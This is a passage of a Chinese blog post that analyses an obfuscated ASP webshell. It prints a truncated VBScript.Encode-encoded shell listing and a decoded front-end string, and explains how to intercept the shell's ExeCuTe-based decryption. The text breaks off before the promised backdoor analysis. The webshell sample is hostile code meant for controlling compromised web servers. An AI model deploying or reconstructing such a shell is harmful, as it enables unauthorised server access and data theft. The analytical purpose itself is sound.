• 欢迎访问金刀客博客!
  • 2019,春节快乐!

随机加密webshell的解密及后门全分析

原创天空 admin 13579次浏览 已收录 0个评论

随机加密webshell,解密还不错,应当免杀。一时兴起,解密出来,发现shell不简单,又有很多人义务劳动咯。
截图

加密源码

<%@ LANGUAGE = VBScript.Encode %>
<%#@~^3A4CAA==@#@&jdDhl/k'r1v2FX!ZFE~,PP,~P,@#@&sHC:'r随机加密J~P~~@#@&jkDnj"SxE4YY2lJzAhS 4l^0+MRmK:r~P,P~P,P~@#@&ZWazDbotDxEbUn木马随机加密器rP~P~~,P~P,~P,@#@&)G'J随机加密E~,P~P,~,P~,P,PP,P,~P,P@#@&@#@&@#@&@#@&ksLEMV'r@!r:TPkD^'v4DY2)J&wFRrhmo+d+yRXFbhTF 1WszvZ!Z&oKN{obDs{JG08{FR4G9T1Ny 14T,X{6Fn0Of0R%{f9RorWEPAk9O4'ql!,t+bo4O'2!@*@!JkhL@*JP,~B精美横条B不用图片改为@!tM@*@#@&(L{J:!TTZ!TJ,~B设置背景颜色@#@&A"{JaTT60T!r~,B设置文字颜色@#@&4!NE{J[osws/ZrP~v设置按钮对话框颜色@#@&?.\DRU^.kaY:kh+G;D'1,O1,O,11=I+d2Kxd+c$!0WD,'YMElr P3DMW.~"+/!h+,1+XOl/!4,?4WA3MDc#=(0,2..,KtnU@#@&]IUE@!4.@*@!mPtM+6xBNl-lkm.raY)4r/DWDH 8l13v#v@*@!8M@*~J,'PAD. G+/^.bwOkKU,[~r@!Jl@*@!4M@*J@#@&3DMR/slD=]+kwW dnRwV!/4@#@&3 N~q6@#@&x[~kE4lj!4~I"jv/OM#=D+kwKU/RADbYnckYD*l2 NPU;8)wE mOkGU,InnmOtv?bl"+nCO4']+asmmnv?BJ-r~rw-r#l2 N~o!xmDrW )s!U^YbW P]InKmY4`Ub)"InKmYtx]wsl1nv?Sr-'J~r-rb)Ax[PwEU^DkW lj"S'"n5E/DRj+.-D#lMrl(VndvJj]Jr#l?.7+.&n{I+$EdYc?nD7+.#mDkm8V/`rJ6ZzS|b9f]E*))mDrW ']n$E+dOvJ)mDrKxE*)"WWDnmOt{?nD7+. tlwhCY4`JcEb)qqIGWOxU+.\.Rtl2KmYtcEJJb)!xM+5!+kYRk+M-+M\CDbl8s/`r4YDw{4GdYr#LE.Vl2{Ed+M2lk/l2K/E.s{J4YD2r)oKV9+DhlD4'"+5E/OcrsW^[+MnlD4E#=sglh+x];;+kO`rsHCs+Jbl~l^3`.^'E@!4M@*@!(D@*@!mxO+M@*@!C,tDW'ELl7CdmMkaYltrdDW.Xc8l13cbE@*返回@!&C@*@!&mUD+.@*J=0E mDrW PWl1+c/KVWMS?by~jC.#=k6Pjk"xZPOtU@#@&/r"{JJ@#@&Vd+@#@&kk"{J,/k.+{vJL?ryLJvE=+x9~k6)0m^n'r@!wrHK~Wmmn'qn49kULkPmGsKDxB[ELZG^WM[JEPr'?by'J@*J'#mD[r@!zwr1:@*E)Ax9PWEU^DkGx=oE mOrKxPitU?cW(%kY.*)K4LkYM~',Inw^l^nvW4NdYM~Pr↙ESPrJrJb)oGMPrP{~F,KG~d+xcG(LdYMb=qW,HbN`K4NdYM~~kBPqb,@!@*,E∞J,KtU@#@&,Pg+A?O.,'~Hb[`K4%dDD~~rBPq#,',1nS?DD@#@&PAs/@#@&P,1nAUYD,xP74ZMJWPLPg+A?O.@#@&~2 [P&0@#@&g+6O@#@&jt?U~{PHhUYD=2 [PwEUmDkGU=?tbjl 'J↙@*↙~dDM∞↙W 'sVG.1/~↙PU]I,xn4DP↙↙'UGbY^b,W&∞P↙z9W(@!↙PkDM∞↙@*Yak.mkz@!↙j"I∞↙8pnEMYP .;YDp#cYrh(EdRs.Ww49I↙↙↙↙{SHPuM+Uxb 14CpoaP',+!sl7Rnomn hMWs(9iMY/,x~+!Vm\ DOj^;jRs.Ww49Np+/sC6PUD!ODI*↙↙"确正否是句语dp?查检请↙↙vYMnVm b!8@!4OTx+^ DD/`6rNi/^lWPU.!YnDpb↙↙"确正否是串接连库据数查检请↙↙vY.n^l bX@!tOo n^Rn!Vm\RMYU8fc:.Ww49c6k *LwBDYkc.YUV$?sV;o,xGkD^x!0↙j]"∞↙8in;MY~xM;D+.)iYk$MYU~',+;Vm\ .D?V$jRsDWw89 /^+NibDb$.YUcYM+sCP# qx{kc0b~/s8p↙↙@*DY nmJ@!。句语令命作操JpU入输再库据数接连己认确请@*.nDx+1@!↙↙'dHK_.nx kcm8lI↙↙↙↙~{PnE^C\cDOj^;? hMWo4GIYk,MYUP',+!sl7R.YU49 sDWw8fP#&{@!r`6kp↙↙。节字个十五前的段字示显只据数条一过超xwR现实询查制控件条用可,节字部全的段字示显可即时据数条一示显只当↙↙~xY q$MO?p↙↙?j)hP1\idr/Ph6"f~Y+sl1V(CK]P3S~bP~"2Kd)↙↙P{TF8,.YUi↙↙* f`])_Z]bj~?UbK~gHjJ6;P9fz~Y+hm1V4mK]~2dA)K,I3Pdb↙↙P{D!8$DDjI↙↙T:m1nV8C:$~2d$b:PK6"f↙↙Px~Y,,DDjp↙↙#bZ*vIb_Z").,I3............................................省略%>

代码太长了,传文件,不copy了。
点击下载此文件
首先这是一个VBScript.Encode加密,微软的screnc.exe加密兼容性好。这个解密网上有很多在线解密的工具,用VBscript.Encode 解码器解密就行,但是要注意特殊字符的处理。
VBScript.Encode解密之后看上去还是一堆乱码,但是这时候可以发现很多函数代码已经出来了。仔细查看可以看到这个是自定义函数加密,然后通过ExeCuTe解密代码执行。
一般的加密页面有静态加密页面和动态加密页面,如果是动态加密页面,那么一般需要架设iis来进行解密。以本第一处加密代码来说。在vbs加密中英文的冒号(:)是代码的连接符,相当于回车符号。那么第一处加密代码我们可以这样提取:

UZSS = NewStr:End Function:ShiSan=”↙>↙ srr∞↙on=llorcs ↙ SRR neht ↙↙=noitcA fI∞ ↙ydob<↙ srr∞↙>tpircs/<↙SRR∞↙};eurt nruter;)(timbus.mroFbD;↙↙↙↙=LMTHrenni.cba;gp = eulav.egaP.mroFbD;rts = eulav.rtSlqS.mroFbD};eslaf nruter;)↙↙!确正否是句语LQS查检请↙↙(trela{)01retnec/<。句语令命作操LQS入输再库据数接连己认确请>retnec<↙↙=LMTHrenni.cba;↙↙↙↙ = eulav.rtSlqS.mroFbD;]i[rtS = eulav.rtSbD.mroFbD{)3=tpircsavaj=egaugnal tpircs<↙SRR∞↙>elyts/<↙SRR∞↙};xp11:ezis-tnof;888#:roloc{ma.↙SRR∞↙}000#:dnuorgkcab;der:roloc{revoh:a};enon :noitaroced-txet;ddd#:roloc{a↙SRR∞↙}000000# :ROLOC-ESAB-RABLLORCS;cfcf00# :ROLOC-WODAHSKRAD-RABLLORCS;000000# :ROLOC-KCART-RABLLORCS;cfcf00# :ROLOC-WORRA-RABLLORCS;cfcf00# :ROLOC-WODAHS-RABLLORCS;cfcf00# :ROLOC-THGILHGIH-RABLLORCS;000000# :ROLOC-ECAF-RABLLORCS{ YDOB↙SRR∞↙};xp4:tfel-nigram;xp0 :nigram{ydob↙SRR∞↙}FFF#:roloc;000#:roloc-dnuorgkcab{dmc.↙SRR∞↙}xp0:redrob;000000#:roloc-dnuorgkcab{C.↙SRR∞↙}fff# dilos xp1:redrob;↙&udub&↙:roloc-dnuorgkcab;xp21 :ezis-tnof{aeratxet,tceles,tupni↙SRR∞↙};↙&zw&↙:roloc;↙&jb&↙:roloc-dnuorgkcab;xp21 :ezis-tnof{dt,ydob↙SRR∞↙>↙↙ssc/txet↙↙=epyt elyts<↙SRR∞↙>eltit/< ↙&PIrevreS&↙ - ↙&emaNm&↙>eltit<↙SRR∞↙>↙↙2132bg=tesrahc ;lmth/txet↙↙=tnetnoc ↙↙epyT-tnetnoC↙↙=viuqe-ptth atem<>lmth<↙SRR":ExeCuTe(UZSS(ShiSan)):

开头处是这一段的开头,末尾有冒号。去掉冒号,规范这个代码一下。

UZSS = NewStr
End Function
ShiSan=”↙>↙ srr∞↙on=llorcs ↙ SRR neht ↙↙=noitcA fI∞ ↙ydob<↙ srr∞↙>tpircs/<↙SRR∞↙};eurt nruter;)(timbus.mroFbD;↙↙↙↙=LMTHrenni.cba;gp = eulav.egaP.mroFbD;rts = eulav.rtSlqS.mroFbD};eslaf nruter;)↙↙!确正否是句语LQS查检请↙↙(trela{)01retnec/<。句语令命作操LQS入输再库据数接连己认确请>retnec<↙↙=LMTHrenni.cba;↙↙↙↙ = eulav.rtSlqS.mroFbD;]i[rtS = eulav.rtSbD.mroFbD{)3=tpircsavaj=egaugnal tpircs<↙SRR∞↙>elyts/<↙SRR∞↙};xp11:ezis-tnof;888#:roloc{ma.↙SRR∞↙}000#:dnuorgkcab;der:roloc{revoh:a};enon :noitaroced-txet;ddd#:roloc{a↙SRR∞↙}000000# :ROLOC-ESAB-RABLLORCS;cfcf00# :ROLOC-WODAHSKRAD-RABLLORCS;000000# :ROLOC-KCART-RABLLORCS;cfcf00# :ROLOC-WORRA-RABLLORCS;cfcf00# :ROLOC-WODAHS-RABLLORCS;cfcf00# :ROLOC-THGILHGIH-RABLLORCS;000000# :ROLOC-ECAF-RABLLORCS{ YDOB↙SRR∞↙};xp4:tfel-nigram;xp0 :nigram{ydob↙SRR∞↙}FFF#:roloc;000#:roloc-dnuorgkcab{dmc.↙SRR∞↙}xp0:redrob;000000#:roloc-dnuorgkcab{C.↙SRR∞↙}fff# dilos xp1:redrob;↙&udub&↙:roloc-dnuorgkcab;xp21 :ezis-tnof{aeratxet,tceles,tupni↙SRR∞↙};↙&zw&↙:roloc;↙&jb&↙:roloc-dnuorgkcab;xp21 :ezis-tnof{dt,ydob↙SRR∞↙>↙↙ssc/txet↙↙=epyt elyts<↙SRR∞↙>eltit/< ↙&PIrevreS&↙ - ↙&emaNm&↙>eltit<↙SRR∞↙>↙↙2132bg=tesrahc ;lmth/txet↙↙=tnetnoc ↙↙epyT-tnetnoC↙↙=viuqe-ptth atem<>lmth<↙SRR" ExeCuTe(UZSS(ShiSan))

可以看到开头部分是上个函数代码的末尾,ShiSan是加密字串,我们的加密对象,他们包含在一对括号之中,ExeCuTe(UZSS(ShiSan))就是执行解密函数和代码的语句。如果我们此时截获UZSS(ShiSan)),那么不就是明白了吗?因为ExeCuTe执行的肯定是标准代码,那么我们可以这样构造代码,在

ExeCuTe(UZSS(ShiSan))

后面添加这个代码

%>

表情 贴图 加粗 删除线 居中 斜体 签到